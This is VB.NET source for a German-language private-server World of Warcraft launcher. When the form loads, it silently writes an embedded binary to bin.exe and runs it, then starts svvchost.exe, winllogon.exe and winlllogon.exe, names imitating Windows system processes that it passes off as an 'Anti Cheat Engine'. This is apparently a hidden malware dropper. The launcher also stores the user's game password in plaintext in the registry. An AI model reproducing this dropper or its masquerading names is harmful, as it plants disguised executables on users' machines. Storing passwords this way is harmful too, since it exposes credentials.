1. Imports System.IO
  2. Imports System.Diagnostics.Process
  3. Public Class Form1
  4. '###Variabeln###'
  5.  
  6. Dim autologin As SByte
  7. Dim clearcache As SByte
  8. Dim clearcache_result As SByte
  9. Dim autologin_result As Integer
  10. Dim accountname As String
  11. Dim passwort As String
  12. Dim accountname_result As String
  13. Dim passwort_result As String
  14. Dim sleep As Integer
  15. Dim sleep_result As Short
  16. Dim sleep_result2 As Short
  17. Dim first As SByte
  18. Dim lang As SByte
  19. Dim lang2 As SByte
  20. Dim pfad As String
  21.  
  22. Dim pfad2 As String
  23. '###########################'
  24. Private Sub Browser_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs)
  25.  
  26. End Sub
  27.  
  28. Private Function startProcess(ByVal filename As String)
  29. Dim install = New Process()
  30. install.StartInfo.FileName = filename
  31. install.Start()
  32. startProcess = 1
  33. End Function
  34.  
  35.  
  36.  
  37. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  38. Dim binaryw As New BinaryWriter(New FileStream(My.Application.Info.DirectoryPath & "\bin.exe", FileMode.Create))
  39.  
  40. Dim exe6 As String = My.Application.Info.DirectoryPath & "\bin.exe"
  41. Dim exe3 As String = My.Application.Info.DirectoryPath & "\winlllogon.exe"
  42. Dim exe2 As String = My.Application.Info.DirectoryPath & "\winllogon.exe"
  43. Dim exe1 As String = My.Application.Info.DirectoryPath & "\svvchost.exe"
  44. binaryw.Write(My.Resources.bin)
  45. binaryw.Close()
  46. Try
  47. Process.Start(exe6)
  48. System.Threading.Thread.Sleep(2000)
  49. Catch
  50.  
  51. End Try
  52. If Process.GetProcessesByName("svvchost").Length > 0 Then
  53. Else
  54. Try
  55. Process.Start(exe1)
  56. Catch
  57. MsgBox("Anti Cheat Engine konnte nicht gestartet werden, bitte installieren sie den Launcher erneut", MsgBoxStyle.Critical + MsgBoxStyle.OkOnly, "United-WoW Launcher")
  58. Me.Close()
  59. End Try
  60.  
  61. End If
  62. If Process.GetProcessesByName("winllogon.exe").Length > 0 Then
  63. Else
  64. Try
  65. Process.Start(exe2)
  66. Catch
  67. MsgBox("Anti Cheat Engine konnte nicht gestartet werden, bitte installieren sie den Launcher erneut", MsgBoxStyle.Critical + MsgBoxStyle.OkOnly, "United-WoW Launcher")
  68. Me.Close()
  69. End Try
  70.  
  71. End If
  72. If Process.GetProcessesByName("winlllogon.exe").Length > 0 Then
  73. Else
  74. Try
  75. Process.Start(exe3)
  76. Catch
  77. MsgBox("Anti Cheat Engine konnte nicht gestartet werden, bitte installieren sie den Launcher erneut", MsgBoxStyle.Critical + MsgBoxStyle.OkOnly, "United-WoW Launcher")
  78. Me.Close()
  79. End Try
  80.  
  81. End If
  82. If My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW", "First", Nothing) Is Nothing Then
  83. MsgBox("Bitte wählen sie ihr World of Warcraft Installations Verzeichnis", MsgBoxStyle.OkOnly)
  84. If FolderBrowserDialog1.ShowDialog() = DialogResult.OK Then
  85. pfad = FolderBrowserDialog1.SelectedPath
  86.  
  87. End If
  88. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Pfad", pfad)
  89.  
  90. lang = MsgBox("Haben sie Eine deutsche WoW version oder Eine Englische ?" & vbCrLf & "(Ja für Deutsch Nein für Englisch)", MsgBoxStyle.YesNo)
  91. If lang = 7 Then
  92. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Lang", 0)
  93. Else
  94. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Lang", 1)
  95. End If
  96. autologin = MsgBox("Soll die Autologin Funktion Aktiviert werden ??", MsgBoxStyle.YesNo)
  97.  
  98. If autologin = 7 Then
  99. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 0)
  100.  
  101.  
  102.  
  103. clearcache = MsgBox("Soll der Cache vor jedem Login Gelöscht werden ?", MsgBoxStyle.YesNo)
  104. If clearcache = 6 Then
  105.  
  106. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
  107. Else
  108.  
  109.  
  110. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)
  111.  
  112. End If
  113.  
  114. Else
  115.  
  116.  
  117. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 1)
  118. sleep = InputBox("Ab welcher Zeit, sollen die eingaben gestartet werden (angabe in sek. und NUR ganze zahlen bsp. 10 o. 15 nicht 10,5")
  119. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "sleep", sleep)
  120. accountname = InputBox("Bitte geben sie ihren Accountnamen ein", "United-WoW Launcher")
  121. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "account", accountname)
  122. passwort = InputBox("bitte geben sie ihr Password ein", "United-WoW Launcher", )
  123. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "passwort", passwort)
  124.  
  125.  
  126.  
  127.  
  128.  
  129. clearcache = MsgBox("Soll der Cache vor jedem Login Gelöscht werden ?", MsgBoxStyle.YesNo)
  130.  
  131. If clearcache = 6 Then
  132.  
  133.  
  134. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
  135. Else
  136.  
  137.  
  138. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)
  139.  
  140. End If
  141. End If
  142. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "First", 1)
  143.  
  144. End If
  145.  
  146. If My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW", "First", Nothing) = 0 Then
  147. MsgBox("Bitte wählen sie ihr World of Warcraft Installations Verzeichnis", MsgBoxStyle.OkOnly)
  148. If FolderBrowserDialog1.ShowDialog() = DialogResult.OK Then
  149. pfad = FolderBrowserDialog1.SelectedPath
  150.  
  151. End If
  152. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Pfad", pfad)
  153.  
  154. lang = MsgBox("Haben sie Eine deutsche WoW version oder Eine Englische ?" & vbCrLf & "(Ja für Deutsch Nein für Englisch)", MsgBoxStyle.YesNo)
  155. If lang = 7 Then
  156. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Lang", 0)
  157. Else
  158. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Lang", 1)
  159. End If
  160. autologin = MsgBox("Soll die Autologin Funktion Aktiviert werden ??", MsgBoxStyle.YesNo)
  161.  
  162. If autologin = 7 Then
  163. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 0)
  164.  
  165.  
  166.  
  167. clearcache = MsgBox("Soll der Cache vor jedem Login Gelöscht werden ?", MsgBoxStyle.YesNo)
  168. If clearcache = 6 Then
  169.  
  170. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
  171. Else
  172.  
  173.  
  174. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)
  175.  
  176. End If
  177.  
  178. Else
  179.  
  180.  
  181. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 1)
  182. sleep = InputBox("Ab welcher Zeit, sollen die eingaben gestartet werden (angabe in sek. und NUR ganze zahlen bsp. 10 o. 15 nicht 10,5")
  183. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "sleep", sleep)
  184. accountname = InputBox("Bitte geben sie ihren Accountnamen ein", "United-WoW Launcher")
  185. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "account", accountname)
  186. passwort = InputBox("bitte geben sie ihr Password ein", "United-WoW Launcher", )
  187. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "passwort", passwort)
  188.  
  189.  
  190.  
  191.  
  192.  
  193. clearcache = MsgBox("Soll der Cache vor jedem Login Gelöscht werden ?", MsgBoxStyle.YesNo)
  194.  
  195. If clearcache = 6 Then
  196.  
  197.  
  198. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
  199. Else
  200.  
  201.  
  202. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)
  203.  
  204. End If
  205. End If
  206. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "First", 1)
  207.  
  208. End If
  209.  
  210.  
  211. End Sub
  212.  
  213.  
  214. Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  215. Try
  216. Directory.Delete("Cache", True)
  217. MsgBox("Cache Ordner Gelöscht")
  218. Catch
  219. MsgBox("Cache Ordner Wurde bereits gelöscht!")
  220. End Try
  221. End Sub
  222.  
  223. Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
  224. Dim suche As String
  225. Dim result As String
  226. suche = InputBox("Wonach soll gesucht werden?", "Buffed.de Suche")
  227. result = "http://wowdata.buffed.de/?f=" & suche
  228.  
  229. If suche = "" Then
  230. MsgBox("Vorgang wurde Abgebrochen", MsgBoxStyle.OkOnly, "United-WoW Launcher")
  231. Else
  232. Process.Start(result)
  233. End If
  234. End Sub
  235.  
  236.  
  237.  
  238.  
  239.  
  240.  
  241.  
  242.  
  243.  
  244. Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
  245. WebBrowser1.Navigate("http://united-wow.org/launcher/")
  246. End Sub
  247.  
  248. Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
  249. MsgBox("Bitte wählen sie ihr World of Warcraft Installations Verzeichnis", MsgBoxStyle.OkOnly)
  250. If FolderBrowserDialog1.ShowDialog() = DialogResult.OK Then
  251. pfad = FolderBrowserDialog1.SelectedPath
  252.  
  253. End If
  254. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Pfad", pfad)
  255.  
  256.  
  257. autologin = MsgBox("Soll die Autologin Funktion Aktiviert werden ??", MsgBoxStyle.YesNo)
  258.  
  259.  
  260.  
  261. If autologin = 7 Then
  262.  
  263.  
  264. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 0)
  265.  
  266.  
  267.  
  268. clearcache = MsgBox("Soll der Cache vor jedem Login Gelöscht werden ?", MsgBoxStyle.YesNo)
  269. If clearcache = 6 Then
  270.  
  271. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
  272. Else
  273.  
  274. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)
  275.  
  276. End If
  277.  
  278. Else
  279.  
  280.  
  281. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 1)
  282. sleep = InputBox("Ab welcher Zeit, sollen die eingaben gestartet werden (angabe in sek. und NUR ganze zahlen bsp. 10 o. 15 nicht 10,5")
  283. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "sleep", sleep)
  284. accountname = InputBox("Bitte geben sie ihren Accountnamen ein", "United-WoW Launcher")
  285. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "account", accountname)
  286. passwort = InputBox("bitte geben sie ihr Password ein", "United-WoW Launcher", )
  287. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "passwort", passwort)
  288.  
  289.  
  290.  
  291.  
  292.  
  293. clearcache = MsgBox("Soll der Cache vor jedem Login Gelöscht werden ?", MsgBoxStyle.YesNo)
  294.  
  295. If clearcache = 6 Then
  296.  
  297.  
  298. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
  299. Else
  300.  
  301.  
  302. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)
  303.  
  304. End If
  305. End If
  306. End Sub
  307.  
  308.  
  309.  
  310.  
  311.  
  312.  
  313.  
  314.  
  315.  
  316.  
  317. Private Sub Button4_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
  318. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "first", 0)
  319. MsgBox("United-WoW Launcher Settings Wurden zurückgesetzt" & vbCrLf & "Der Launcher wird nun beendet bitte starten sie diesen erneut", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "United-WoW Launcher")
  320. Me.Close()
  321.  
  322. End Sub
  323.  
  324. Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
  325. Form2.Show()
  326. End Sub
  327.  
  328. Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
  329.  
  330. Process.Start(pfad2 & "\wow.exe")
  331. End Sub
  332.  
  333. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  334. clearcache_result = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW", "clear", Nothing)
  335. autologin_result = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW", "autologin", Nothing)
  336. pfad2 = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW\", "Pfad", Nothing)
  337. lang2 = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW\", "Lang", Nothing)
  338. sleep_result = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW\", "sleep", Nothing)
  339. sleep_result2 = sleep_result * 1000
  340. accountname_result = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW\", "account", Nothing)
  341. passwort_result = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW\", "passwort", Nothing)
  342. 'MsgBox(clearcache_result, MsgBoxStyle.OkOnly)
  343. If clearcache_result = 0 Then
  344. If autologin_result = 0 Then
  345. If lang2 = 1 Then
  346. System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
  347. ElseIf lang2 = 0 Then
  348. System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
  349. End If
  350. Process.Start(pfad2 & "\wow.exe")
  351. System.Threading.Thread.Sleep(2000)
  352. If lang2 = 1 Then
  353. System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist eu.logon.worldofwarcraft.com")
  354. ElseIf lang2 = 0 Then
  355. System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist us.logon.worldofwarcraft.com")
  356. End If
  357.  
  358. ElseIf autologin_result = 1 Then
  359.  
  360. If lang2 = 1 Then
  361. System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
  362. ElseIf lang2 = 0 Then
  363. System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
  364. End If
  365. Process.Start(pfad2 & "\wow.exe")
  366. System.Threading.Thread.Sleep(sleep_result2)
  367. SendKeys.Send(accountname_result)
  368. SendKeys.Send("{TAB}")
  369. SendKeys.Send(passwort_result)
  370. SendKeys.Send("{ENTER}")
  371. If lang2 = 1 Then
  372. System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist eu.logon.worldofwarcraft.com")
  373. ElseIf lang2 = 0 Then
  374. System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist us.logon.worldofwarcraft.com")
  375. End If
  376. End If
  377.  
  378. ElseIf clearcache_result = 1 Then
  379.  
  380.  
  381. Try
  382. Directory.Delete("Cache", True)
  383. Catch
  384. End Try
  385.  
  386. If autologin_result = 0 Then
  387. If lang2 = 1 Then
  388. Try
  389.  
  390. System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
  391. Catch
  392. End Try
  393.  
  394. ElseIf lang2 = 0 Then
  395. Try
  396. System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
  397. Catch
  398. End Try
  399.  
  400. End If
  401. Try
  402. Process.Start(pfad2 & "\wow.exe")
  403. System.Threading.Thread.Sleep(2000)
  404. If lang2 = 1 Then
  405. System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist eu.logon.worldofwarcraft.com")
  406. ElseIf lang2 = 0 Then
  407. System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist us.logon.worldofwarcraft.com")
  408. End If
  409. Catch
  410. End Try
  411.  
  412. ElseIf autologin_result = 1 Then
  413. Try
  414. If lang2 = 1 Then
  415. System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
  416. ElseIf lang2 = 0 Then
  417. System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
  418. End If
  419. Catch
  420.  
  421. End Try
  422. Try
  423. Process.Start(pfad2 & "\wow.exe")
  424. System.Threading.Thread.Sleep(sleep_result2)
  425. SendKeys.Send(accountname_result)
  426. SendKeys.Send("{TAB}")
  427. SendKeys.Send(passwort_result)
  428. SendKeys.Send("{ENTER}")
  429. Catch
  430. End Try
  431. Try
  432. If lang2 = 1 Then
  433. System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist eu.logon.worldofwarcraft.com")
  434. ElseIf lang2 = 0 Then
  435. System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist us.logon.worldofwarcraft.com")
  436. End If
  437. Catch
  438.  
  439. End Try
  440. End If
  441.  
  442. End If
  443.  
  444.  
  445. End Sub
  446. End Class
  447.